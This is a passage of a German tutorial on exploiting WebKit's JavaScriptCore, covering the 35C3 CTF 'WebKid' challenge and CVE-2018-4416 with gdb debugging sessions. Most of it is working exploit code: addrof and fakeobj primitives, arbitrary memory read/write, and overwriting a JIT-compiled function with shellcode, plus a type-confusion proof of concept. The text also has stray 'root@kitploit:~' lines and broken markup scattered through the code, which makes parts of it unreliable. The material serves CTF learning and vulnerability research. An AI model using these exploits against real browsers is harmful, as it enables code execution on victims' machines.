       thisObject->setButterfly(vm, nullptr);
    
  • }
  • thisObject->setStructure(vm, previous);
  • return true; +}

// ECMA 8.6.2.5 bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName propertyName) { @@ -1946,18 +1971,21 @@ bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName proper

root@kitploit:~
   Structure* structure = thisObject->structure(vm);
  • bool propertyIsPresent = isValidOffset(structure->get(vm, propertyName, attributes));
  • PropertyOffset offset = structure->get(vm, propertyName, attributes);
  • bool propertyIsPresent = isValidOffset(offset); if (propertyIsPresent) { if (attributes & PropertyAttribute::DontDelete && vm.deletePropertyMode() != VM::DeletePropertyMode::IgnoreConfigurable) return false;
  • root@kitploit:~
       PropertyOffset offset;
    
  • root@kitploit:~
       if (structure->isUncacheableDictionary())
    
  • root@kitploit:~
       if (structure->isUncacheableDictionary()) {
           offset = structure->removePropertyWithoutTransition(vm, propertyName, [] (const ConcurrentJSLocker&, PropertyOffset) { });
    
  • root@kitploit:~
       else
    
  • root@kitploit:~
           thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
    
  • root@kitploit:~
       } else {
    
  • root@kitploit:~
           if (!tryDeletePropertyQuickly(vm, thisObject, structure, propertyName, attributes, offset)) {
    
  • root@kitploit:~
               thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
    
  • root@kitploit:~
           }
    
  • root@kitploit:~
       }
    
  • root@kitploit:~
       if (offset != invalidOffset)
    
  • root@kitploit:~
       if (offset != invalidOffset && (!isOutOfLineOffset(offset) || thisObject->butterfly()))
           thisObject->locationForOffset(offset)->clear();
    
    }

diff --git a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in index 536481ecd6a..62189fea227 100644 --- a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in +++ b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in @@ -25,6 +25,12 @@ (deny default (with partial-symbolication)) (allow system-audit file-read-metadata)

+(allow file-read* (literal "/flag1")) + +(allow mach-lookup (global-name "net.saelo.shelld")) +(allow mach-lookup (global-name "net.saelo.capsd")) +(allow mach-lookup (global-name "net.saelo.capsd.xpc")) + #if PLATFORM(MAC) && __MAC_OS_X_VERSION_MIN_REQUIRED < 101300 (import "system.sb") #else #+end_example

Das größte Problem hier ist die Funktion =tryDeletePropertyQuickly=, die so funktioniert (Kommentar von /Linus Henze/:

#+begin_src cpp static bool tryDeletePropertyQuickly(VM& vm, JSObject* thisObject, Structure* structure, PropertyName propertyName, unsigned attributes, PropertyOffset offset) { // Diese Assertion ist immer wahr, solange wir keinen "ungültigen" Offset übergeben ASSERT(isInlineOffset(offset) || isOutOfLineOffset(offset));

root@kitploit:~
 // Versuche, die vorherige Struktur dieses Objekts zu erhalten
 Structure* previous = structure->previousID();
 if (!previous)
     return false; // Wenn es keine gibt, hier aufhören

 unsigned unused;
 // Prüfen, ob die zu löschende Eigenschaft die zuletzt hinzugefügte ist
 // Dies muss der Fall sein, wenn die alte Struktur diese Eigenschaft nicht hat
 bool isLastAddedProperty = !isValidOffset(previous->get(vm, propertyName, unused));
 if (!isLastAddedProperty)
     return false; // Nicht die letzte Eigenschaft? Hier aufhören und normal löschen.

 // Behaupten, dass das Hinzufügen der Eigenschaft zur letzten Struktur die aktuelle Struktur ergibt
 RELEASE_ASSERT(Structure::addPropertyTransition(vm, previous, propertyName, attributes, offset) == structure);

 // Uninteressant. Löscht im Grunde den Butterfly dieses Objekts, wenn es kein Array ist und die letzte Out-of-Line-Eigenschaft gelöscht wird. Der Butterfly wird dann unnötig, weil keine Eigenschaft mehr darin gespeichert ist.
 if (offset == firstOutOfLineOffset && !structure->hasIndexingHeader(thisObject)) {
     ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0);
     thisObject->setButterfly(vm, nullptr);
 }

 // Direkt die Struktur dieses Objekts setzen
 thisObject->setStructure(vm, previous);

 return true;

} #+end_src

Kurz gesagt: Ein Objekt fällt auf die vorherige Struktur-ID zurück, indem eine zuvor hinzugefügte Eigenschaft gelöscht wird. Beispiel:

#+begin_example var o = [1.1, 2.2, 3.3, 4.4]; // o ist jetzt ein Objekt mit Struktur-ID 122. o.property = 42; // o ist jetzt ein Objekt mit Struktur-ID 123. Die Struktur ist ein Blatt (hat noch nie einen Übergang gehabt)

function helper() { return o[0]; } jitCompile(helper); // Hilfsfunktion viele Male ausführen // In diesem Fall entscheidet sich der JIT-Compiler, einen Watchpoint anstelle von Laufzeitprüfungen zu verwenden // beim Kompilieren der Hilfsfunktion. Er überwacht also die Struktur 123 auf Übergänge.

delete o.property; // o "ging zurück" zu Struktur-ID 122. Der Watchpoint wurde nicht ausgelöst. #+end_example

Lassen Sie uns zuerst einige Grundlagen wiederholen. In JSC gibt es Laufzeit-Typprüfungen und Watchpoints, um korrekte Typkonvertierung sicherzustellen. Nachdem eine Funktion viele Male ausgeführt wurde, verwendet JSC keine Strukturprüfung mehr. Stattdessen wird sie durch einen Watchpoint ersetzt. Wenn ein Objekt geändert wird, sollte der Browser den Watchpoint auslösen, um diese Änderung zu melden und auf den JS-Interpreter zurückzufallen sowie neuen JIT-Code zu generieren.

Hier löst das Zurücksetzen auf die vorherige ID keinen =Watchpoint= aus, obwohl sich die Struktur geändert hat, was bedeutet, dass sich auch die Struktur des Butterfly-Zeigers ändert. Der von =helper= generierte JIT-Code fällt jedoch nicht zurück, da der Watchpoint nicht ausgelöst wird, was zu einer Typverwechslung führt. Und der JIT-Code kann weiterhin auf die alte Butterfly-Struktur zugreifen. Wir können Objekte leaken oder fälschen.

Dies ist die minimale Angriffsprimitive:

#+begin_example haxxArray = [13.37, 73.31]; haxxArray.newProperty = 1337;

function returnElem() { return haxxArray[0]; }

function setElem(obj) { haxxArray[0] = obj; }

for (var i = 0; i < 100000; i++) { returnElem(); setElem(13.37); }

delete haxxArray.newProperty; haxxArray[0] = {};

function addrof(obj) { haxxArray[0] = obj; return returnElem(); }

function fakeobj(address) { setElem(address); return haxxArray[0]; } // JIT-Code behandelt es als Integer, aber es sollte eigentlich ein Objekt sein. // Wir können die Adresse daraus leaken print(addrof({})); // Fast dasselbe wie oben, aber zum Schreiben von Daten print(fakeobj(addrof({}))); #+end_example

** Hilfsfunktionen :PROPERTIES: :CUSTOM_ID: utility-functions :END: Das Exploit-Skript erstellt viele Hilfsfunktionen. Sie helfen uns, die Primitive zu erstellen, die man in fast jedem WebKit-Exploit benötigt. Wir werden uns nur einige wichtige Funktionen ansehen.

*** Nativen Code erhalten :PROPERTIES: :CUSTOM_ID: getting-native-code :END: Um anzugreifen, benötigen wir eine native Code-Funktion, um Shellcode oder ROP zu schreiben. Außerdem werden Funktionen erst nach vielen Ausführungen zu nativem Code (dies ist in =pwn.js=):

#+begin_example function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } }

function makeJITCompiledFunction() { // Ein Code, der später durch den Shellcode überschrieben werden kann. function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123);

root@kitploit:~
  return target;

} #+end_example

*** Bytes kontrollieren :PROPERTIES: :CUSTOM_ID: controlling-bytes :END: In der =int64.js= erstellen wir eine Klasse =Int64=. Sie verwendet =Uint8Array=, um Zahlen zu speichern, und erstellt viele zugehörige Operationen wie =add= und =sub=. Im vorherigen Kapitel wurde erwähnt, dass JavaScript Tagged Values verwendet, um Zahlen darzustellen, was bedeutet, dass man das höhere Byte nicht kontrollieren kann. Das =Uint8Array= repräsentiert 8-Bit-unsigned-Integer wie native Werte und ermöglicht uns, alle 8 Bytes zu kontrollieren.

Einfaches Beispiel zur Verwendung von =Uint8Array=:

#+begin_example var x = new Uint8Array([17, -45.3]); var y = new Uint8Array(x); console.log(x[0]); // 17

console.log(x[1]); // Der Wert wird in eine 8-Bit-unsigned-Integer konvertiert // 211 #+end_example

Es kann zu einem 16-Byte-Array zusammengeführt werden. Das Folgende zeigt deutlich, dass =Uint8Array= in nativer Form speichert, weil =0x0201= == =513=:

#+begin_example a = new Uint8Array([1,2,3,4]) b = new Uint16Array(a.buffer) // Uint16Array [513, 1027] #+end_example

Die verbleibenden Funktionen von =Int64= sind Simulationen verschiedener Operationen. Sie können deren Implementierungen aus ihren Namen und Kommentaren ableiten. Auch das Lesen des Codes ist einfach.

** Exploit schreiben :PROPERTIES: :CUSTOM_ID: writing-exploit :END: *** Details zum Skript :PROPERTIES: :CUSTOM_ID: detail-about-the-script :END: Ich habe einige Kommentare aus Saelos ursprünglichem Writeup hinzugefügt (die meisten Kommentare sind noch seine Arbeit, vielen Dank!):

#+begin_example const ITERATIONS = 100000;

// Eine Hilfsfunktion, die eine Funktion mit nativem Code zurückgibt function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } } jitCompile(function dummy() { return 42; });

// Gibt eine Funktion mit nativem Code zurück, in die wir später den Shellcode platzieren function makeJITCompiledFunction() {// Some code that can be overwritten by the shellcode. function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123);

root@kitploit:~
  return target;

}

function setup_addrof() { var o = [1.1, 2.2, 3.3, 4.4]; o.addrof_property = 42;

root@kitploit:~
  // JIT compiler will install a watchpoint to discard the
  // compiled code if the structure of |o| ever transitions
  // (a heuristic for |o| being modified). As such, there
  // won't be runtime checks in the generated code.
  function helper() {
      return o[0];
  }
  jitCompile(helper);

  // This will take the newly added fast-path, changing the structure
  // of |o| without the JIT code being deoptimized (because the structure
  // of |o| didn't transition, |o| went "back" to an existing structure).
  delete o.addrof_property;

  // Now we are free to modify the structure of |o| any way we like,
  // the JIT compiler won't notice (it's watching a now unrelated structure).
  o[0] = {};

  return function(obj) {
      o[0] = obj;
      return Int64.fromDouble(helper());
  };

}

function setup_fakeobj() { var o = [1.1, 2.2, 3.3, 4.4]; o.fakeobj_property = 42;

root@kitploit:~
  // Same as above, but write instead of reading from the array.
  function helper(addr) {
      o[0] = addr;
  }
  jitCompile(helper, 13.37);

  delete o.fakeobj_property;
  o[0] = {};

  return function(addr) {
      helper(addr.asDouble());
      return o[0];
  };

}

function pwn() { var addrof = setup_addrof(); var fakeobj = setup_fakeobj();

root@kitploit:~
  // verify basic exploit primitives work.
  var addr = addrof({p: 0x1337});
  assert(fakeobj(addr).p == 0x1337, "addrof and/or fakeobj does not work");
  print('[+] exploit primitives working');


  // from saelo: spray structures to be able to predict their IDs.
  // var structs = []
  // var i = 0;
  // var abc = [13.37];
  // abc.pointer = 1234;
  // abc['prop' + i] = 13.37;
  // structs.push(abc);
  // var victim = structs[0];
  //
  // and the payload still work stablely. It seems this action is redundant
  var structs = []
  for (var i = 0; i < 0x1000; ++i) {
      var array = [13.37];
      array.pointer = 1234;
      array['prop' + i] = 13.37;
      structs.push(array);
  }

  // take an array from somewhere in the middle so it is preceeded by non-null bytes which
  // will later be treated as the butterfly length.
  var victim = structs[0x800];
  print(`[+] victim @ ${addrof(victim)}`);

  // craft a fake object to modify victim
  var flags_double_array = new Int64("0x0108200700001000").asJSValue();
  var container = {
      header: flags_double_array,
      butterfly: victim
  };

  // create object having |victim| as butterfly.
  var containerAddr = addrof(container);
  print(`[+] container @ ${containerAddr}`);
  // add the offset to let compiler recognize fake structure
  var hax = fakeobj(Add(containerAddr, 0x10));
  // origButterfly is now based on the offset of **victim** 
  // because it becomes the new butterfly pointer
  // and hax[1] === victim.pointer
  var origButterfly = hax[1];

  var memory = {
      addrof: addrof,
      fakeobj: fakeobj,

      // Write an int64 to the given address.
      writeInt64(addr, int64) {
          hax[1] = Add(addr, 0x10).asDouble();
          victim.pointer = int64.asJSValue();
      },

      // Write a 2 byte integer to the given address. Corrupts 6 additional bytes after the written integer.
      write16(addr, value) {
          // Set butterfly of victim object and dereference.
          hax[1] = Add(addr, 0x10).asDouble();
          victim.pointer = value;
      },

      // Write a number of bytes to the given address. Corrupts 6 additional bytes after the end.
      write(addr, data) {
          while (data.length % 4 != 0)
              data.push(0);

          var bytes = new Uint8Array(data);
          var ints = new Uint16Array(bytes.buffer);

          for (var i = 0; i < ints.length; i++)
              this.write16(Add(addr, 2 * i), ints[i]);
      },

      // Read a 64 bit value. Only works for bit patterns that don't represent NaN.
      read64(addr) {
          // Set butterfly of victim object and dereference.
          hax[1] = Add(addr, 0x10).asDouble();
          return this.addrof(victim.pointer);
      },

      // Verify that memory read and write primitives work.
      test() {
          var v = {};
          var obj = {p: v};

          var addr = this.addrof(obj);
          assert(this.fakeobj(addr).p == v, "addrof and/or fakeobj does not work");

          var propertyAddr = Add(addr, 0x10);

          var value = this.read64(propertyAddr);
          assert(value.asDouble() == addrof(v).asDouble(), "read64 does not work");

          this.write16(propertyAddr, 0x1337);
          assert(obj.p == 0x1337, "write16 does not work");
      },
  };

  // Testing code, not related to exploit
  var plainObj = {};
  var header = memory.read64(addrof(plainObj));
  memory.writeInt64(memory.addrof(container), header);
  memory.test();
  print("[+] limited memory read/write working");

  // get targetd function
  var func = makeJITCompiledFunction();
  var funcAddr = memory.addrof(func);

  // change the JIT code to shellcode
  // offset addjustment is a little bit complicated here :P
  print(`[+] shellcode function object @ ${funcAddr}`);
  var executableAddr = memory.read64(Add(funcAddr, 24));
  print(`[+] executable instance @ ${executableAddr}`);
  var jitCodeObjAddr = memory.read64(Add(executableAddr, 24));
  print(`[+] JITCode instance @ ${jitCodeObjAddr}`);
  // var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 368));      // offset for debug builds
  // final JIT Code address
  var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 352));
  print(`[+] JITCode @ ${jitCodeAddr}`);

  var s = "A".repeat(64);
  var strAddr = addrof(s);
  var strData = Add(memory.read64(Add(strAddr, 16)), 20);
  shellcode.push(...strData.bytes());

  // write shellcode
  memory.write(jitCodeAddr, shellcode);

  // trigger shellcode
  var res = func();

  var flag = s.split('\n')[0];
  if (typeof(alert) !== 'undefined')
      alert(flag);
  print(flag);

}

if (typeof(window) === 'undefined') pwn(); #+end_example

** Fazit zur Ausnutzung :PROPERTIES: :CUSTOM_ID: conclusion-on-the-exploitation :END: Zusammenfassend verwendet der Exploit zwei der wichtigsten Angriffsprimitive – =addrof= und =fakeobj= – zum Leaken und Manipulieren. Eine JIT-kompilierte Funktion wird geleakt und mit unserem =shellcode=-Array überschrieben. Dann rufen wir die Funktion auf, um die Flagge zu leaken. Fast alle Browser-Exploits folgen diesem Schema.

Danke an die Organisatoren des 35C3 CTF, insbesondere Saelo. Es war eine großartige Herausforderung, um WebKit Type Confusion zu lernen.


  • Debugging von WebKit :PROPERTIES: :CUSTOM_ID: debugging-webkit :END: Nachdem wir nun alle Theorien verstanden haben – Architektur, Objektmodell, Ausnutzung –, beginnen wir mit praktischen Operationen. Zur Vorbereitung verwenden Sie das kompilierte /JSC/ aus dem Setup-Teil. Nutzen Sie einfach die neueste Version, da wir hier nur das Debugging besprechen.

Früher habe ich versucht, Haltepunkte zu setzen, um deren Adressen zu finden, aber das ist eigentlich sehr dumm. /JSC/ verfügt über viele nicht standardmäßige Funktionen, die Informationen für uns ausgeben können (die meisten können Sie in /Safari/ nicht verwenden!):

  • =print()= und =debug()=: Wie =console.log()= in /Node.js/, geben Informationen auf dem Terminal aus. Allerdings verwendet =print= in /Safari/ einen echten Drucker, um Dokumente zu drucken.
  • =describe()=: Beschreibt ein Objekt. Wir können die Adresse, die Klassenmitglieder und zugehörige Informationen über die Funktion erhalten.
  • =describeArray()=: Ähnlich wie =describe()=, konzentriert sich aber auf die /Array/-Information eines Objekts.
  • =readFile()=: Öffnet eine Datei und gibt den Inhalt aus.
  • =noDFG()= und =noFLT()=: Deaktiviert bestimmte JIT-Compiler.

** Haltepunkte setzen :PROPERTIES: :CUSTOM_ID: setting-breakpoints :END: Der einfachste Weg, Haltepunkte zu setzen, ist, eine ungenutzte Funktion zu unterbrechen, wie =print= oder =Array.prototype.slice([]);=. Da wir meist nicht wissen, ob eine Funktion einen PoC beeinflusst, kann diese Methode etwas Nebenwirkungen haben.

Das Setzen von Haltepunkten auf verwundbare Funktionen funktioniert ebenfalls. Wenn Sie versuchen, eine Schwachstelle zu verstehen, ist das Unterbrechen dieser Funktionen äußerst wichtig. Allerdings sind deren Aufrufstapel möglicherweise nicht angenehm.

Wir können auch eine eigene Debugging-Funktion (mit =int 3=) im WebKit-Quellcode einbauen. Definieren, implementieren und registrieren Sie unsere Funktion in =/Source/JavaScriptCore/jsc.cpp=. So können wir WebKit in Debuggern anhalten:

#+begin_src cpp static EncodedJSValue JSC_HOST_CALL functionDbg(ExecStage*); addFunction(vm, "dbg", functionDbg, 0); static EncodedJSValue JSC_HOST_CALL functionDbg(ExecStage* exec) { asm("int 3"); return JSValue::encode(jsUndefined()); } #+end_src

Da die dritte Methode eine Änderung des Quellcodes erfordert, bevorzuge ich persönlich die ersten beiden.

** Inspizieren von JSC-Objekten :PROPERTIES: :CUSTOM_ID: inspecting-jsc-objects :END: Ok, wir verwenden dieses Skript:

#+begin_example arr = [0, 1, 2, 3] debug(describe(arr))

print() #+end_example

Verwenden Sie unseren gdb mit gef zum Debuggen; Sie können erraten, dass wir die =print()=-Funktion unterbrechen werden:

#+begin_example gdb jsc gef> b *printInternal gef> r --> Object: 0x7fffaf4b4350 with butterfly 0x7ff8000e0010 (Structure 0x7fffaf4f2b50:[Array, {}, CopyOnWriteArrayWithInt32, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 100

... // Einige Backtrace #+end_example

#+begin_quote Die Objektadresse und der Butterfly-Zeiger können auf Ihrem Rechner variieren. Wenn wir das Skript bearbeiten, kann sich die Adresse ebenfalls ändern. Bitte passen Sie sie an Ihre Ausgabe an. #+end_quote

Wir werfen einen ersten Blick auf das Objekt und seinen Zeiger:

#+begin_example gef> x/2gx 0x7fffaf4b4350 0x7fffaf4b4350: 0x0108211500000064 0x00007ff8000e0010 gef> x/4gx 0x00007ff8000e0010 0x7ff8000e0010: 0xffff000000000000 0xffff000000000001 0x7ff8000e0020: 0xffff000000000002 0xffff000000000003 #+end_example

Was passiert, wenn wir es auf Fließkommazahlen umstellen?

#+begin_example arr = [1.0, 1.0, 2261634.5098039214, 2261634.5098039214] debug(describe(arr))

print() #+end_example

Wir verwenden einen kleinen Trick: =2261634.5098039214= wird im Speicher als =0x4141414141414141= dargestellt. Das Auffinden des Werts ist mit der magischen Zahl (hier verwenden wir direkt den Butterfly-Zeiger) praktischer. Standardmäßig füllt JSC ungenutzten Speicher mit =0x00000000badbeef0=:

#+begin_example gef> x/10gx 0x00007ff8000e0010 0x7ff8000e0010: 0x3ff0000000000000 0x3ff0000000000000 0x7ff8000e0020: 0x4141414141414141 0x4141414141414141 0x7ff8000e0030: 0x00000000badbeef0 0x00000000badbeef0 0x7ff8000e0040: 0x00000000badbeef0 0x00000000badbeef0 0x7ff8000e0050: 0x00000000badbeef0 0x00000000badbeef0 #+end_example

Das Speicherlayout ist das gleiche wie im /JSC Object Model/-Teil, daher wiederholen wir es hier nicht.

** Native Code erhalten :PROPERTIES: :CUSTOM_ID: getting-native-code-1 :END: Jetzt ist es an der Zeit, die kompilierte Funktion zu erhalten. Sie spielt eine wichtige Rolle beim Verständnis des JSC-Compilers und der Ausnutzung:

#+begin_example const ITERATIONS = 100000;

function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } } jitCompile(function dummy() { return 42; }); debug("jitCompile Ready")

function makeJITCompiledFunction() { function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123);

root@kitploit:~
  return target;

}

func = makeJITCompiledFunction() debug(describe(func))

print() #+end_example

Es ist nicht schwer, wenn Sie den vorherigen Abschnitt aufmerksam gelesen haben. Jetzt sollten wir ihren nativen Code im Debugger erhalten:

#+begin_example --> Object: 0x7fffaf468120 with butterfly (nil) (Structure 0x7fffaf4f1b20:[Function, {}, NonArray, Proto:0x7fffaf4d0000, Leaf]), StructureID: 63 ... // Einige Backtrace ... gef> x/gx 0x7fffaf468120+24 0x7fffaf468138: 0x00007fffaf4fd080 gef> x/gx 0x00007fffaf4fd080+24 0x7fffaf4fd098: 0x00007fffefe46000 // Im Debug-Modus ist es in Ordnung, 368 als Offset zu verwenden // Im Release-Modus sollte es jedoch 352 sein gef> x/gx 0x00007fffefe46000+368 0x7fffefe46170: 0x00007fffafe02a00 gef> hexdump byte 0x00007fffafe02a00 0x00007fffafe02a00 55 48 89 e5 48 8d 65 d0 48 b8 60 0c 45 af ff 7f UH..H.e.H.`.E... 0x00007fffafe02a10 00 00 48 89 45 10 48 8d 45 b0 49 bb b8 2e c1 af ..H.E.H.E.I..... 0x00007fffafe02a20 ff 7f 00 00 49 39 03 0f 87 9c 00 00 00 48 8b 4d ....I9.......H.M 0x00007fffafe02a30 30 48 b8 00 00 00 00 00 00 ff ff 48 39 c1 0f 82 0H.........H9... #+end_example

Fügen Sie Ihre Dump-Bytes in rasm2 ein:

#+begin_example rasm -d "you dump byte here" push ebp dec eax mov ebp, esp dec eax lea esp, [ebp - 0x30] dec eax mov eax, 0xaf450c60 invalid jg 0x11 add byte [eax - 0x77], cl inc ebp adc byte [eax - 0x73], cl inc ebp mov al, 0x49 mov ebx, 0xafc12eb8 invalid jg 0x23 add byte [ecx + 0x39], cl add ecx, dword [edi] xchg dword [eax + eax - 0x74b80000], ebx dec ebp xor byte [eax - 0x48], cl add byte [eax], al add byte [eax], al add byte [eax], al invalid dec dword [eax + 0x39] ror dword [edi], 0x82 #+end_example

Hmm... die Disassemblierung ist teilweise falsch. Zumindest sehen wir jetzt einen Entwurf.


  • 1-Day Exploitation :PROPERTIES: :CUSTOM_ID: day-exploitation :END: Nutzen wir nun den Fehler aus dem Abschnitt /Triggering Bug/: CVE-2018-4416.

Es handelt sich um eine Type Confusion. Da wir bereits über /WebKid/ gesprochen haben, eine ähnliche CTF-Challenge mit Type-Confusion-Fehler, wird es nicht schwer sein, diesen zu verstehen. Wechseln Sie zum verwundbaren Branch und beginnen Sie unsere Reise.

Der PoC ist am Anfang des Artikels angegeben. Kopieren Sie die Dateien =int64.js=, =shellcode.js= und =utils.js= aus dem /WebKid/-Repository in Ihre virtuelle Maschine.

** Ursache :PROPERTIES: :CUSTOM_ID: root-cause :END: *** Zitat von Lokihardt :PROPERTIES: :CUSTOM_ID: quotation-from-lokihardt :END: Das Folgende ist eine Beschreibung von CVE-2018-4416 von /Lokihardt/, mit meiner teilweisen Hervorhebung.

Wenn eine =for-in=-Schleife ausgeführt wird, wird am Anfang ein =JSPropertyNameEnumerator object= erstellt, um die Informationen des Eingabeobjekts für die =for-in=-Schleife zu speichern. Innerhalb der Schleife wird die /Struktur-ID/ des "this"-Objekts jedes =get_by_id=-Ausdrucks, der die Schleifenvariable als Index verwendet, mit der zwischengespeicherten =Struktur-ID= aus dem =JSPropertyNameEnumerator object= verglichen. Wenn sie identisch ist, wird das "this"-Objekt des =get_by_id=-Ausdrucks als mit der gleichen Struktur wie das Eingabeobjekt für die =for-in=-Schleife betrachtet.

Das Problem ist, dass es keine Maßnahmen gibt, um zu verhindern, dass die Struktur, von der die zwischengespeicherte /Struktur-ID/ stammt, freigegeben wird. Da /Struktur-IDs/ nach der Freigabe ihrer Besitzer wiederverwendet werden können, kann dies zu /Type Confusion/ führen.

*** Zeile-für-Zeile-Erklärung :PROPERTIES: :CUSTOM_ID: line-by-line-explanation :END: Kommentare in =/* */= sind meine Analyse, die möglicherweise ungenau ist. Kommentare nach =//= stammen von Lokihardt:

#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }

function opt(obj) { // Starting the optimization. for (let i = 0; i < 500; i++) {

root@kitploit:~
  }
  /* Step 3 */
  /* This is abother target */
  /* We want to confuse it(tmp) with obj(fake_object_memory) */
  let tmp = {a: 1};

  gc();
  tmp.__proto__ = {};

  for (let k in tmp) {  // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
      /* Step 4 */
      /* Change the structure of tmp to {} */
      tmp.__proto__ = {};

      gc();
      /* The structure of obj is also {} now */
      obj.__proto__ = {};  // The structure ID of "obj" equals to tmp's.

      /* Step 5 */
      /* Compiler believes obj and tmp share the same type now */
      /* Thus, obj[k] will retrieve data from object with offset a */
      /* In the patched version, it should be undefined */
      return obj[k];  // Type confusion.
  }

}

/* Step 0 / / Prepare structure {} */ opt({});

/* Step 1 / / Target Array, 0x1234 is our fake address*/ let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;

/* Step 2 / / Trigger type confusion*/ let fake_object = opt(fake_object_memory);

/* JSC crashed */ print(fake_object); #+end_example

*** Debugging :PROPERTIES: :CUSTOM_ID: debugging :END: Lassen Sie uns das debuggen, um unseren Gedanken zu überprüfen. Ich modifiziere den ursprünglichen PoC für einfacheres Debugging. Sie sind jedoch fast identisch, abgesehen von zusätzlichen =print()=-Anweisungen:

#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }

function opt(obj) { // Starting the optimization. for (let i = 0; i < 500; i++) {

root@kitploit:~
  }

  let tmp = {a: 1};

  gc();
  tmp.__proto__ = {};

  for (let k in tmp) {  // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
      tmp.__proto__ = {};
      gc();
      obj.__proto__ = {};  // The structure ID of "obj" equals to tmp's.
      debug("Confused Object: " + describe(obj));
      return obj[k];  // Type confusion.
  }

}

opt({});

let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x41424344; let fake_object = opt(fake_object_memory); print() print(fake_object) #+end_example

Dann =gdb ./jsc=, =b *printInternal= und =r poc.js=. Wir erhalten:

#+begin_example ...

--> Confused Object: Object: 0x7fffaf6b0080 with butterfly (nil) (Structure 0x7fffaf6f3db0:[Object, {}, NonArray, Proto:0x7fffaf6b3e80, Leaf]), StructureID: 142 --> Confused Object: Object: 0x7fffaf6cbe40 with butterfly (nil) (Structure 0x7fffaf6f3db0:[Uint32Array, {}, NonArray, Proto:0x7fffaf6b3e00, Leaf]), StructureID: 142

... #+end_example

Werfen wir einen Blick auf unsere gefälschte Adresse. JSC ist zu groß, um Ihren Wunsch-Haltepunkt zu finden. Setzen wir stattdessen einen Watchpoint, um den Ablauf zu verfolgen:

#+begin_example gef> x/4gx 0x7fffaf6cbe40 0x7fffaf6cbe40: 0x02082a000000008e 0x0000000000000000 0x7fffaf6cbe50: 0x00007fe8014fc000 0x0000000000000064 gef> x/4gx 0x00007fe8014fc000 0x7fe8014fc000: 0x0000000041424344 0x0000000000000000 0x7fe8014fc010: 0x0000000000000000 0x0000000000000000 gef> rwatch *0x7fe8014fc000 Hardware read watchpoint 2: *0x7fe8014fc000 #+end_example

Wir erhalten später die erwartete Ausgabe:

#+begin_example Thread 1 "jsc" hit Hardware read watchpoint 2: *0x7fe8014fc000

Value = 0x41424344 0x00005555555bebd4 in JSC::JSCell::structureID (this=0x7fe8014fc000) at ../../Source/JavaScriptCore/runtime/JSCell.h:133 133 StructureID structureID() const { return m_structureID; } #+end_example

Aber warum erscheint es an =structure ID=? Wir können die Antwort aus ihrem Speicherlayout ableiten:

#+begin_example obj (fake_object_memory): 0x7fffaf6cbe40: 0x02082a000000008e 0x0000000000000000 0x7fffaf6cbe50: 0x00007fe8014fc000 0x0000000000000064

tmp ({a: 1}): 0x7fffaf6cbdc0: 0x000016000000008b 0x0000000000000000 0x7fffaf6cbdd0: 0xffff000000000001 0x0000000000000000 #+end_exampleAlso wird der Zeiger von =Uint32Array= als Objekt zurückgegeben. Und =m_structureID= befindet sich am Anfang jedes JS-Objekts. Da =0x1234= das erste Element unseres Arrays ist, ist es sinnvoll, dass =structureID()= es abruft.

Wir können nun Daten im =Uint32Array= verwenden, um ein gefälschtes Objekt zu erzeugen. Großartig!

** Aufbau der Angriffsprimitive :PROPERTIES: :CUSTOM_ID: constructing-attack-primitive :END: *** addrof :PROPERTIES: :CUSTOM_ID: addrof :END: Jetzt sollten wir ein legitimes Objekt erstellen. Ich wähle ={}= (ein leeres Objekt) als unser Ziel.

Wie sieht ein leeres Objekt im Speicher aus (ohne Skripting und Debugging):

#+begin_example 0x7fe8014fc000: 0x010016000000008a 0x0000000000000000 #+end_example

Okay, es beginnt mit =0x010016000000008a=. Wir können dies in =Uint32Array= simulieren (denkt daran, =gc= und =opt= hier einzufügen):

#+begin_example function gc() { ... // Gleich wie oben }

function opt(obj) { ... // Gleich wie oben }

opt({});

let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x0000004c; fake_object_memory[1] = 0x01001600; let fake_object = opt(fake_object_memory); fake_object.a = {}

print(fake_object_memory[4]) print(fake_object_memory[5]) #+end_example

Zwei geheimnisvolle Zahlen werden zurückgegeben:

#+begin_src shell 2591768192 # hex: 0x9a7b3e80 32731 # hex: 0x7fdb #+end_src

Offensichtlich haben sie das Zeigerformat. Wir können jetzt beliebige Objekte leaken!

*** fakeobj :PROPERTIES: :CUSTOM_ID: fakeobj :END: Ein =fakeobj= zu erhalten, ist fast identisch mit dem Erstellen von =addrof=. Der Unterschied besteht darin, dass du eine Adresse in =Uint32Array= eintragen musst und dann das Objekt über das Attribut =a= in =fake_object= abrufst.

